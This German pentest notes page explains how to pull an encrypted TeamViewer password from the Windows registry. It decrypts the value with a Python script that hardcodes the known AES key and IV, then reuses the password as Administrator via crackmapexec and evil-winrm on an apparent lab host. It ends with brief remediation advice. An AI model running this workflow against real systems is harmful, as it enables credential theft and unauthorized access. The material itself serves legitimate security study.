> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# TeamViewer-Registry-Passwort

Einige ältere TeamViewer-Versionen speichern ein verschlüsseltes Passwort in der Windows-Registry. Das Ziel ist es, die Version zu identifizieren, den AES-Wert wiederherzustellen, ihn zu entschlüsseln und zu überprüfen, ob die Anmeldedaten wiederverwendbar sind.

## Den Prozess identifizieren

```powershell
tasklist /svc
```

<figure><img src="/files/cdd861e550f7bb8e28fe48ff3cbb6f3b63304286" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## Den Registry-Schlüssel suchen

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/08d2bf33fef673696e81fdc337a75cb17e5c82f7" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## Den Wert entschlüsseln

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/d1c36bd692b0b37b7d74819348f425ecf724c798" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## Den Zugriff validieren

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/c2b1bc820c01e0694b6ba94e4913fe72af39dbc3" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/2adc5f84f8e2989722e58b537d3454ce67111bb0" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## Wichtige Punkte

* Identifizieren Sie die genaue TeamViewer-Version, bevor Sie einen bekannten Entschlüsselungs-Workflow anwenden.
* Überprüfen Sie die Registry auf persistente Geheimnisse von Anwendungen von Drittanbietern.
* Beheben Sie das Problem, indem Sie TeamViewer aktualisieren und wiederverwendbare Passwörter für unbeaufsichtigten Zugriff vermeiden.


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